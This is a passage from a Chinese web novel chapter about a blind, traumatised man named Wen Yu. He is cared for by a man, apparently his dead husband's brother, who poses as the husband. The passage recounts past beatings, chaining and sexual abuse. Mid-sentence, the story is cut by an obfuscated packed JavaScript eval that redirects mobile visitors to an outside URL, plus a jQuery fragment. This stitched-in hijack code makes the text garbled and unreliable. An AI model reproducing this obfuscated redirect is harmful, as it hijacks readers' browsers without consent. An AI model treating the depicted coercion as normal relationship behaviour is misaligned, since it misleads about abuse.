周身冷空气消失。
温俞听见了电子门锁“叮”的一声,接着便是老公身上的味道。
他被抱进了屋子里,屋子里到处都是老公身上的味道。
新房,所以喷了香水吗?
老公好细心。
“现在,我要把你放到地上,”男人问,“能站稳?”
温俞点点头:“可以的。”
男人:“嗯。”
温俞的脚碰到了地面,地板也热热的。
他摸索着,这次距离老公很近,很顺利地就摸到老公的身体,一路向下,温俞自觉跪在了地上,轻轻抓着老公的鞋子,准备给对方换鞋。
他没有让老公抬脚。
老公想什么时候抬就什么时候抬,他可以等。
“……”
怎么还没动?
温俞身子发抖,他又做错了?
跪的姿势不对还是……温俞脑袋很痛,他费力回想着方才自己做了什么,身边忽然传来一声闷响。
温俞捂住脑袋:“啊……我错了我错了,别打我……”
“……”
男人蹲在了他的面前,那靠近的气息更让他害怕,温俞急忙改口:“没有……我没有没让你打我……我就是……我就是……”
“你身边有垫子。”男人提醒。
温俞愣了愣,他到处摸了摸,没摸到,吓哭了,下意识就要磕头。
脑袋却没触碰到地板,也没传来“咚”的一声——他的脑袋在半空中碰到了老公的手。
老公拦了一下他。
“……”
为什么?
温俞忘记了哭,男人继续说:“手给我。”
温俞乖乖把两只手全放到男人手心,接着,对方便引着他,直到摸到了一个软乎乎的东西。
那触感和车子上一模一样,也是个毛绒垫,他慌乱爬到上面,跪了上去。
表面听话,温俞心里却充满了不安。
为什么对他这么好?
好到……像变了一个人。
一只手忽然摸上了他膝盖附近的皮肤。
温俞身子一颤,几乎要把脑袋埋进胸口。
“你的肤色很白,膝盖却是青紫。”
男人摩挲着那块皮肤,很痒,也很舒服。
温俞小心翼翼问:“不喜欢吗?”
“嗯,不喜欢。”男人说,“以后有床就跪在床上,没床就去找沙发,什么都没有,也要找垫子,明白吗?”
**
温俞把男人的鞋摆在一边,然后摸摸自己的膝盖。
青紫的?
怪不得老公总生气,还经常给他垫子,不让他跪在地上。
原来是他的腿变丑了。
温俞站起身,舔舔嘴唇:“老公,对不起,我会让膝盖尽快好起来的。”
“很乖,”男人似乎愉悦,摸着他的头发,问,“想要什么奖励?”
奖励?
温俞已经没什么喜欢的东西了。
他得到什么都不会开心,除非……
温俞垂下睫毛:“能把那件风衣送给我吗。”
“房间里的温度太低了?”男人摸了摸他的脖子,“很冷?”
温俞瑟缩了一下:“没有,我……我就是想要老公的东西,我喜欢你的味道……”
话音未落,那风衣就被塞进了他的怀里。
温俞惊喜了一小下,立即抱紧了风衣:“谢……谢谢。”
他亲了亲那风衣,眼眶慢慢红了,又说了一次:“谢谢老公……我非常喜欢……我会好好对待这件衣服的。”
**
沈焕带着温俞熟悉了房子。
他选了一间比较小的屋子,怕温俞没有安全感,会迷路,整个屋子只有一个客厅和一间卧室,温俞趿拉着拖鞋,跟在他身后,走到哪都要摸一摸,然后抬头,用那漂亮的眼睛看他:“这里是床?”
“嗯。”
走到餐桌边,又抬头,眼睛眨呀眨,因为看不见,经常看错地方,不是偏左就是偏右,盯着他的身后,一脸认真:“这里是餐桌……嗯,我知道了,谢谢老公。”
……
……
最后在沙发边摸了摸,又抬起头:“这里是沙发。”
“嗯。”沈焕问:“记住了吗?”
温俞点头:“都记住了。”
沈焕便松开了温俞的手,温俞四处摸摸,绕着沙发走了好几圈,终于是坐到了沙发上。
温俞先是把衣服放在了一边,然后调整了一下姿势,跪好,又把衣服抱进怀里,亲了亲。
“……”
沈焕喉结动了动,没说话。
“过来吃饭。”他说。
温俞慌乱下沙发,差点又摔了一跤。
沈焕:“还记得餐桌在哪吗?”
“记得。”
温俞点头,然后经过他的身边,慢慢走到了餐桌边,站好。
沈焕没有让温俞坐下,他也站在一边,观察温俞的举动。见温俞半天没有动作,才问:“怎么不吃?你的面前有粥。”
“哦……哦。”
温俞摸索着,小心翼翼拿起那碗粥,然后放在了地上,趴着用舌头舔起来,把嘴巴吃得脏兮兮的。
“……”
呵,沈渡。
真有你的。
养老婆能养成这样。
盯着温俞看了会,沈焕也拿了碗粥。
不过还好。
沈焕无声轻笑。
沈渡死了,温俞以后就是他的了。
这样想着,沈焕蹲在了温俞身边,陪着这脏兮兮的小猫一起吃。
**
温俞感觉到了老公的气息,他吃饭的动作慢了慢。
吃得太脏了?
……他太饿了,没注意吃相。
温俞用手抹了下嘴,擦了一下还不够,他擦了好多下,直把嘴都擦得通红,老公忽然抓住了他的手,问:“怎么。”
“……我太脏了。”温俞咬着唇瓣。
“哪里脏?”男人摸了下他的脸,似乎在证明他的脸上没有东西,“不脏,好好吃饭。”
温俞又吃了两口,就吃不下了。
他不安道:“老公……老公你是在看我吗?”
“不允许我看你?”
“没有,”温俞摇头,“我以为我犯错了。”
“你今天很乖,我想多看看你,”男人似乎真的很喜欢他乖,嗓音出奇的温柔。
温俞吞咽口水。
老公今天好不一样。
可……面前的人的确是老公。无论是味道,还是声音。
是他今天哪里取悦了老公吗?
温俞不敢问。
怕一说,这一切就没了。
——正想着,温俞整个人忽然被抱了起来。
他怕掉下去,慌乱搂住了男人的脖子,不安道:“老公……”
“你在发烧,”男人说,“现在需要吃药,睡觉。”
“哦……哦。”温俞顿了顿,“老公,我能记住路,可以自己去。”
他想表现得聪明些,让老公喜欢。
男人笑了一声:“好,那我现在把你放下去。”
“嗯。”温俞应道。
温俞站在了地面,左右摸了摸,发现自己应该是站在客厅中间,前面直走大约就是卧室。
他慢慢地往前走。
老公的脚步声在身后很轻地传来。
跟在他的身后吗?
温俞有些紧张——他应该没走错吧,是这个方向吗。
他握紧拳头,边摸索边往前走,终于摸到了门框,他松了口气,向前一步就要进去——
整个人猛地撞进男人的怀里。
温俞一慌,急忙就要跪下,男人却拉住了他:“位置掌握得很好。”
说完,牵起了他的手。
温俞愣住,男人手心的温度让他大脑一片空白,他的手被包裹在那炙热的手心,隐约察觉到对方手心有一道疤,很粗糙。
……什么时候伤的,感觉好严重。
温俞有些心疼,正纠结要不要问,男人就带着他的手,摸到了门锁。
“以后记得开门。”男人似乎弯了腰,在他耳边轻声说着,“知道吗?”
**
他走进了卧室。
按照往常,他应该在地上睡,可老公居然说:“上来,我想抱着你。”
抱?
他们多久没抱过了。
温俞疑惑一瞬,男人就又说:“不想吗?”
“想,想的。”
温俞急忙爬上了床,他摸索着老公的身体,还没摸到就被捞进了怀里。
床垫软软得,特别舒服。
老公还抱着他……
温俞不敢动,他能听见老公的心跳声,判断自己应该是贴着老公的胸膛,而老公的手在他的腰上……
温俞睫毛颤呀颤的,身子也跟着发抖。
屋子里很暖,温俞不觉得冷,却抖得更厉害。
男人的手抚摸过他身上的疤痕,温俞声音发颤:“丑……”
“……”
那只手没有移开。
只是继续停在那里,指腹轻轻擦过疤痕,一下,一下,又一下。
温俞不知道那是什么意思。
是觉得不好看,要重新覆盖上去一个吗?
温俞咬紧了牙齿,准备好了即将来的疼痛。
温俞等了一会儿。
那只手没有动,反而拿走了。
温俞一愣:“老公?”
怎么了?
他不够主动吗……还是又惹老公生气了。
“……”
没有回答。
温俞慌了,伸手去摸,摸到男人撑在他身侧的手臂。
“老公?”
“嗯。”
温俞以为男人要继续了。
但那只手只是拉起被子,把他盖好。
然后一个吻落在他额头上。很轻。
“有工作要处理。”男人说。
声音平稳,但温俞感觉到他说这句话的时候,嘴唇在他额头上多停了一秒。
“你先睡。”
“没关系,老公你去忙。”温俞乖乖说。
他听见男人站起来的声音。脚步声往门口走,忽然又停住。
温俞竖起耳朵。
那脚步声又折返回来。被子被掀开一角,一个东西塞进他怀里。
是那件风衣。
“……抱着睡。”男人的声音从床边传来。顿了顿,“我很快就回来。”
脚步声再次响起,这次真的远了。
温俞抱着那件衣服,把脸埋进去。
老公今天好奇怪。
不过他很喜欢这样的老公。
温柔的,有魅力的。好喜欢。
如果能一直这样就好了。
想到这里,温俞的眼眶慢慢红了,他把脸埋在男人的风衣里,尽量不让自己哭出声。
肯定不会一直这样的。
他到现在都不知道哪里让老公开心了,他那么笨,迟早要把老公惹生气。
老公对他温柔。他想哭。
老公打他,他也想哭。
除了哭什么都不会。
怪不得要被讨厌。
温俞用牙齿咬住了被子的一角,生病的难受,心脏的酸痛,还有难堪的欲望,几乎把他折磨得要崩溃。
他闻着被子上的清香,眼泪越来越多。
平日里,老公打他,他也不会哭成这样的。
可今天就是好难过,好难过。是因
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305289|198699||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为生病了吗。
温俞哽咽着从床上爬起来,四处摸索。
老公喜欢在床头柜里放很多乱七八糟的药和道具,方便给他用,那里面偶尔有一两盒感冒药或者止痛药,温俞分辨不出来,但一般瓶装的液体都是老公给他用的,盒装的是正常的药。
也不知道新房里有没有。
他摸到床边,摸到床头柜,小心翼翼下了床,打开柜门——
没有药。
但是温俞摸到了一个金属的……
钥匙?
这是什么的钥匙?
温俞想不明白。新家的钥匙?还是老公以前用的锁的备用钥匙?
老公喜欢在他身上用各种各样的锁。有时候真的很疼,很难受,老公也不回家,他总是把床单弄得一片狼藉。
温俞握着那把钥匙,忽然有点害怕。
手里这个东西,不该被他拿着。
不管是大门的钥匙还是那些锁的钥匙,都不该被他拿着。
得放回去。
对,放回去。
他慌乱地想把钥匙塞回柜子里,手抖得厉害,钥匙碰到柜门边缘,发出轻微的“咔”一声——
“在找什么?”
男人的声音骤然响起,带着室外寒风味,以及淡淡烟草香——
温俞吓得浑身一抖,钥匙从手心滑落,“啪”地掉在地上。
他下意识就要跪,膝盖刚弯下去,又想起老公说过“不要总往地上跪”,整个人僵在那里,不知道该怎么办,只能缩着肩膀,声音抖得不成样子:“我……我找感冒药……”
他看不见,但似乎能感觉到,男人的视线落在地上的那把钥匙上。
一秒。
两秒。
温俞的心脏快要从嗓子眼跳出来。
男人的脚步声响起——
温俞听到钥匙被捡起来的声音。
然后,是沉默。
那种让温俞窒息的沉默。
“老公……”他的声音带着哭腔,“我,我没想拿……我就是……摸到了……我不知道是什么……”
他说不下去了。
他不知道自己有没有做错。他什么都没做,只是打开了柜子,摸到了钥匙,然后老公就回来了。
可是老公不说话。
不说话,就是生气了吧。
温俞的眼泪掉下来,他不敢哭出声,只是咬着嘴唇,身子剧烈颤抖。
“温俞。”
男人的声音响起,听不出情绪。
温俞缩着脖子,等那句话落下来。
脚步声再次响起,这次是走向他。
温俞闭上眼睛。
然后,一只手落在他的头顶。
轻轻揉了揉。
“找感冒药?”男人的声音比刚才软了一点,“床头柜里没有,药在客厅的茶几上,钥匙是大门的钥匙。”
温俞愣住,抬起头,眼泪还挂在睫毛上。
男人的指腹擦过他的脸颊,把那滴眼泪抹掉。
“想出门?”男人问。
语气依旧很平淡,甚至有些笑意,还没等男人说出“出门就和我说,为什么要哭”的时候,温俞先一步崩溃了。
老公,从来不允许他私自出门的。
曾经邻居敲门,试探他怎么总哭,他只是开门和邻居说了一句话,差点没被打死。那几天他像狗一样被拴在卫生间,没有衣服,没有水,没有食物,老公时不时会进来使用他,或者给他几巴掌,让他吃一些奇怪的东西,很疼……特别疼……
“不……”温俞去抓男人的手,但不清楚位置,最后也不知道是抓住了衣服还是裤子,“我错了老公,我不该动小心思,我没有怕疼……我就是,就是每次都把床单弄得很脏……我也没有想走……我不小心,我拿错了……”
“……”
男人:“……床单?”
温俞哭得打嗝,乱七八糟地说着:
“嗯……我忍,忍不住。”
“我可以,可以不用道具,我……我本身就很淫||乱……我没有要走……我喜欢老公……”
温俞流着眼泪:“老,老公,我叫给你听,好不好。你摸摸我,没有道具,我也很……”
“温俞。”男人打断了他的话。
温俞抽噎:“嗯,我在,在听。”
男人很轻地叹了气,却什么都没有说。
时间过得很慢。
温俞的心彻底凉了。
他眼泪也不流了,也不拉着男人衣服,只是默默等老公说“滚”。或者等老公动手。
但什么都没有。
温俞听见脚步声——老公走开了,不是走向他,是走向别的地方。
完了。
他垂下头,抱紧膝盖。这一刻,他整个人似乎都飘在了虚空中,又迅速下降,心脏“咚”地沉入谷底,那一瞬间的失重感让大脑一片空白。
完了。脑子里只有这两个字。该怎么完,以后他会经历什么,温俞都没有想。满脑子只有“完了”这两个字,接下来就是寂静。
他像个没有生命的漂亮娃娃一样缩在柜子旁边,不会哭不会笑,也没有思维。
唯有时不时眨一下的眼睛,才证明了他是个活人,不是玩偶。
直到脸颊传来温温热热的感觉。
温俞反应了一会,才明白——老公,好像在用热毛巾给他擦脸。
擦脸?
温俞立即闭上眼睛。
毛巾的温暖仿佛把他僵硬的身体慢慢融化掉,那细致温柔的动作,让温俞脑子懵懵的。
是梦吗?
……好暖和,好舒服。
温俞不敢睁开眼睛。
如果是梦,那他希望再做久一点。
喜欢这个梦,喜欢温柔的老公。
……喜欢。